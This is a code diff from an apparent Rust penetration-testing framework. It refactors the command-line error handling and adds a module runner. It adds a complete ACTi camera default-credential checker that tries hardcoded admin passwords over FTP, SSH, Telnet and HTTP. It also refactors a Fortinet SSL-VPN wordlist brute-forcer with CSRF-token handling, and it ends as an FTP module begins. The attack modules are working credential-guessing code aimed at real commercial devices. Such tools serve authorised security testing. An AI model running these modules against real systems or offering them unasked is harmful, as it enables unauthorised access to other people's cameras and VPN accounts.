|
||||
Generic { message: String },
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CliError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CliError::InvalidFlagCombination { flag1, flag2, message } => {
|
||||
write!(f, "{} Invalid flag combination detected: {} + {}\n {}", "❌".red(), flag1.yellow(), flag2.yellow(), message)
|
||||
},
|
||||
CliError::ValidationFailed { field, reason } => {
|
||||
write!(f, "{} Validation failed for '{}': {}", "❌".red(), field.yellow(), reason)
|
||||
},
|
||||
CliError::ModuleNotFound { module, suggestions } => {
|
||||
writeln!(f, "{} Module '{}' not found.", "❌".red(), module.yellow())?;
|
||||
if !suggestions.is_empty() {
|
||||
writeln!(f, " Did you mean:")?;
|
||||
for s in suggestions {
|
||||
writeln!(f, " - {}", s.green())?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
},
|
||||
CliError::TargetInvalid { target, reason } => {
|
||||
write!(f, "{} Invalid target '{}': {}", "❌".red(), target.yellow(), reason)
|
||||
},
|
||||
CliError::ApiError { message } => {
|
||||
write!(f, "{} API Server Error: {}", "❌".red(), message)
|
||||
},
|
||||
CliError::Generic { message } => {
|
||||
write!(f, "{} Error: {}", "❌".red(), message)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl CliError {
|
||||
pub fn exit_code(&self) -> i32 {
|
||||
match self {
|
||||
CliError::Generic { .. } => 1,
|
||||
CliError::InvalidFlagCombination { .. } => 2,
|
||||
CliError::ValidationFailed { .. } => 2,
|
||||
CliError::ModuleNotFound { .. } => 3,
|
||||
CliError::TargetInvalid { .. } => 4,
|
||||
CliError::ApiError { .. } => 5,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
@@ -19,13 +78,87 @@ const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Helper for verbose logging
|
||||
fn verbose_log(verbose: bool, message: &str) {
|
||||
if verbose {
|
||||
eprintln!("{} {}", "[VERBOSE]".dimmed(), message.dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
/// Prints CLI usage hint
|
||||
fn print_usage_hint() {
|
||||
eprintln!("{}", "Usage hints:".yellow().bold());
|
||||
eprintln!(" {} Launch interactive shell", "cargo run".cyan());
|
||||
eprintln!(" {} Run module on target", "cargo run -- -m <module> -t <target>".cyan());
|
||||
eprintln!(" {} Start API server", "cargo run -- --api --api-key <key>".cyan());
|
||||
eprintln!(" {} List all modules in shell", "cargo run (then type 'modules')".cyan());
|
||||
eprintln!();
|
||||
eprintln!("{}", "For more help: cargo run -- --help".dimmed());
|
||||
}
|
||||
|
||||
/// Validates CLI flag combinations and prints warnings for common mistakes
|
||||
fn validate_cli_flags(cli_args: &cli::Cli) -> Result<()> {
|
||||
// Warning: -m without -t
|
||||
if cli_args.module.is_some() && cli_args.target.is_none() {
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --module (-m) specified without --target (-t)".yellow().bold());
|
||||
eprintln!("{}", " The module requires a target to run against.".yellow());
|
||||
eprintln!();
|
||||
print_usage_hint();
|
||||
eprintln!();
|
||||
eprintln!("{}", "Launching interactive shell instead...".cyan());
|
||||
eprintln!();
|
||||
}
|
||||
|
||||
// Warning: -t without -m (not an error, but inform user)
|
||||
if cli_args.target.is_some() && cli_args.module.is_none() && cli_args.command.is_none() {
|
||||
eprintln!();
|
||||
eprintln!("{}", "ℹ Note: --target (-t) specified without --module (-m)".blue().bold());
|
||||
eprintln!("{}", " Target will be available in interactive shell.".blue());
|
||||
eprintln!();
|
||||
}
|
||||
|
||||
// Warning: --harden without --api
|
||||
if cli_args.harden && !cli_args.api {
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --harden requires --api mode".yellow().bold());
|
||||
eprintln!("{}", " Hardening features are only active in API server mode.".yellow());
|
||||
eprintln!();
|
||||
print_usage_hint();
|
||||
print_usage_hint();
|
||||
return Err(anyhow!(CliError::InvalidFlagCombination {
|
||||
flag1: "--harden".to_string(),
|
||||
flag2: "no --api".to_string(),
|
||||
message: "Harden mode requires API mode".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
|
||||
// Note: --ip-limit requires --harden is enforced by clap's requires attribute
|
||||
|
||||
// Warning: --interface without --api
|
||||
if let Some(ref iface) = cli_args.interface {
|
||||
if !cli_args.api && iface != "0.0.0.0" { // Ignore default value
|
||||
eprintln!();
|
||||
eprintln!("{}", "⚠ Warning: --interface requires --api mode".yellow().bold());
|
||||
eprintln!("{}", " Interface binding is only used in API server mode.".yellow());
|
||||
eprintln!();
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates the bind address format for security
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
return Err(anyhow!(CliError::ValidationFailed {
|
||||
field: "bind_address".to_string(),
|
||||
reason: "Address cannot be empty".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
@@ -80,7 +213,10 @@ fn validate_api_key(key: &str) -> Result<String> {
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
return Err(anyhow!(CliError::ValidationFailed {
|
||||
field: "ip_limit".to_string(),
|
||||
reason: "Must be greater than 0".to_string()
|
||||
}));
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
@@ -94,21 +230,49 @@ fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
async fn main() {
|
||||
if let Err(e) = run().await {
|
||||
// Check if downcast to CliError works
|
||||
if let Some(cli_error) = e.downcast_ref::<CliError>() {
|
||||
eprintln!("{}", cli_error);
|
||||
process::exit(cli_error.exit_code());
|
||||
} else {
|
||||
// Fallback for generic anyhow errors
|
||||
eprintln!("{} {}", "❌".red(), e);
|
||||
process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
|
||||
|
||||
// Validate CLI flag combinations (prints warnings for common mistakes)
|
||||
verbose_log(cli_args.verbose, "Validating CLI flags...");
|
||||
validate_cli_flags(&cli_args)?;
|
||||
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
verbose_log(cli_args.verbose, "Listing all modules...");
|
||||
utils::list_all_modules();
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
.as_ref()
|
||||
.ok_or_else(|| anyhow!("--api-key is required when using --api mode"))?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
let api_key = validate_api_key(api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
let interface = cli_args.interface.clone().unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
@@ -121,26 +285,64 @@ async fn main() -> Result<()> {
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
|
||||
api::start_api_server(
|
||||
&bind_address,
|
||||
api_key,
|
||||
harden,
|
||||
ip_limit,
|
||||
cli_args.verbose,
|
||||
cli_args.queue_size,
|
||||
cli_args.workers,
|
||||
).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate target if provided (fail fast on invalid input)
|
||||
if let Some(ref target) = cli_args.target {
|
||||
if let Err(e) = utils::normalize_target(target) {
|
||||
return Err(anyhow!(CliError::TargetInvalid {
|
||||
target: target.clone(),
|
||||
reason: e.to_string()
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
|
||||
// Target validation is done in config::set_target
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
println!("{} Global target set to: {}", "✓".green(), target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Improved module+target handling: Run module directly if both -m and -t (or global target) are present
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
// If only -m: Show warning, launch shell with module preselected (Phase 3 mostly, but good fallback)
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
verbose_log(cli_args.verbose, "Launching interactive shell...");
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
verbose_log(cli_args.verbose, "Launching interactive shell...");
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
// test comment
|
||||
|
||||
|
||||
@@ -0,0 +1,273 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
Telnet,
|
||||
Http,
|
||||
}
|
||||
|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
pub target: String,
|
||||
pub port: u16,
|
||||
pub credentials: Vec<(&'static str, &'static str)>,
|
||||
pub stop_on_success: bool,
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
|
||||
fn normalize_target(target: &str, port: u16) -> String {
|
||||
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
|
||||
if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]:{}", cleaned, port) // IPv6
|
||||
} else {
|
||||
format!("{}:{}", cleaned, port) // IPv4 or hostname
|
||||
}
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
continue;
|
||||
}
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
("LOGIN_ACCOUNT", *username),
|
||||
("LOGIN_PASSWORD", *password),
|
||||
("LANGUAGE", "0"),
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
|
||||
let base_config = Config {
|
||||
target: target.to_string(),
|
||||
port: 0,
|
||||
credentials: creds,
|
||||
stop_on_success: true,
|
||||
verbosity: true,
|
||||
};
|
||||
|
||||
let ftp_conf = Config { port: 21, ..base_config.clone() };
|
||||
let ssh_conf = Config { port: 22, ..base_config.clone() };
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti_camera_default;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti;
|
||||
+52
-64
@@ -5,7 +5,6 @@ use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
@@ -16,9 +15,11 @@ use tokio::{
|
||||
};
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_int_range,
|
||||
load_lines, prompt_wordlist, normalize_target,
|
||||
load_lines, prompt_existing_file, normalize_target,
|
||||
get_filename_in_current_dir, prompt_port,
|
||||
};
|
||||
use regex::Regex;
|
||||
use once_cell::sync::Lazy;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
@@ -35,24 +36,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
|
||||
.parse().unwrap_or(443);
|
||||
let port: u16 = prompt_port("Fortinet VPN Port", 443)?;
|
||||
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
|
||||
let usernames_file_path = prompt_existing_file("Username wordlist path")?;
|
||||
let passwords_file_path = prompt_existing_file("Password wordlist path")?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
// Optional prompts
|
||||
// We don't have prompt_optional in shared utils yet?
|
||||
@@ -63,10 +63,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// The previous code had `prompt_optional`.
|
||||
// I will use prompt_default with empty default and check for empty string.
|
||||
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
|
||||
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
|
||||
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "")?;
|
||||
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
@@ -198,8 +198,10 @@ async fn spawn_fortinet_task(
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return, // Semaphore closed, stop processing
|
||||
};
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
@@ -294,12 +296,12 @@ async fn try_fortinet_login(
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
@@ -337,38 +339,28 @@ async fn try_fortinet_login(
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
{
|
||||
// Check for explicit success indicators
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
{
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
@@ -377,21 +369,21 @@ async fn try_fortinet_login(
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
vec![
|
||||
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
|
||||
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
|
||||
]
|
||||
});
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -405,7 +397,12 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
@@ -418,12 +415,3 @@ fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1,345 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
